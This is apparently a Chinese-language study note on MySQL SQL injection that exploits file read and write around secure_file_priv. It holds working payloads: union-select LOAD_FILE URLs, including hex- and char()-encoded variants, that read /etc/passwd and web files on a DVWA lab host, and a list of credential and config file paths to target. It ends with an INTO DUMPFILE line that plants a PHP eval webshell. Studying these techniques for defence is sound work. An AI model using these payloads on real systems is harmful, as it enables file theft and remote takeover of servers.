郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。
Mysql 数据库 SQL 注入(三)
4 `secure_file_priv` :文件读写操作4.1 LOAD_FILE() 读文件4.1.1 系统常用目录文件4.2 `LOAD DATA INFILE` 导入文件内容到数据库4.3 `into outfile/dumpfile` 写入文件4secure_file_priv
:文件读写操作
新版浏览器可能需要查看页面源码才可以看到完整文件信息原理:
Mysql 新特性secure_file_priv
用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()
传到哪个指定目录的。
secure_file_priv
参数的值不能动态更改,只能在 Mysql 的配置文件中修改,重启生效。
NULL :默认,表示限制 Mysql 不允许导入导出。/dir/ :表示限制 Mysql 的导入|导出只能发生在 /dir/ 目录下空值:表示不限制 Mysql 的导入|导出
可以通过命令查看这个属性
select @@secure_file_priv
若 Mysql + PHP 架构,PHP 配置文件 php.ini 中的 gpc 参数也会影响写入文件 :
gpc 开启:特殊字符都会被转义,如:'
转义为\'
,此时需要对输入做转义
4.1 LOAD_FILE() 读文件
Load_file(file_name):读取文件并返回该文件的内容作为一个字符串。
使用条件:
必须有权限读取并且文件必须完全可读
and (select count(*) from mysql.user)>0
: 如果结果返回正常,说明具有读写权限。返回错误,应该是管理员给数据库帐户降权
预读取文件必须在服务器上
必须指定文件完整的路径
预读取文件必须小于max_allowed_packet
# linux:# 方式一http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1 'union select null,load_file('/etc/passwd')-- &Submit=Submit## 方式二,对 /etc/passwd 进行16进制编码http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1 'union select null,load_file(0x2f6574632f706173737764)-- &Submit=Submit## 方式三http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1 'union select null,load_file((char(47,101,116,99,47,112,97,115,115,119,100)))-- &Submit=Submit## windows:# 方式一?id=-1 union select null,null,load_file('C:\\inetpub\\wwwroot\\\\index.php')# 方式二?id=-1 union select null,null,load_file('C:/inetpub/wwwroot//index.php')# 方式三:对 C:/inetpub/wwwroot//index.php 进行16进制编码?id=-1 union select null,null,load_file(0x433a2f696e65747075622f777777726f6f742f6c61622e636f6d2f696e6465782e706870)
4.1.1 系统常用目录文件
Linux 下load_file(char(47))
#可以列出 FreeBSD, Sunos 系统根目录# apache配置文件/etc/httpd/conf/httpd.conf # apache2缺省配置文件/usr/local/apache2/conf/httpd.conf# 虚拟网站设置/usr/local/apache2/conf/extra/httpd-vhosts.conf # PHP相关设置/usr/local/php5/lib/php.ini # 从中得到防火墙规则策略/etc/sysconfig/iptables # mysql的配置文件/etc/f # 系统版本/etc/redhat-release
Windows 下
# php配置信息C:\Windows\php.ini # MYSQL 配置文件,记录管理员登陆过的 MYSQL 用户名和密码C:\Program Files\mysql\my.ini# 查看IIS的虚拟主机配置C:\WINDOWS\system32\inetsrv\MetaBase.xml # 查看Windows系统Apache配置文件C:\Program Files\Apache Group\Apache\conf\httpd.confC:\apache\conf\httpd.conf D:\APACHE\Apache2\conf\httpd.conf
4.2LOAD DATA INFILE
导入文件内容到数据库
LOAD DATA INFILE
语句用于从文本文件中读取行,并装入数据库一个表中。
利用方式:
注入过程中,当你拥有数据库的权限时,可以将关键系统文件(配置文件,密码文件等)利用load data infile
导入到数据库中。
LOAD DATA INFILE '/tmp/text.txt' INTO TABLE test.tb1 FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY '\"' ESCAPED BY '#' LINES TERMINATED BY '\n'
4.3into outfile/dumpfile
写入文件
into outfile
:将查询数据输出保存到一个文件中,数据之前存在tab
空格。into dumpfile
:将查询数据输出保存到一个文件中,没有空格。/article.php?id=-1 union select 1,'<?php phpinfo();eval($_POST[\'cmd\']);?>',3 into dumpfile 'C:\\inetpub\\wwwroot\\\\webshell.php'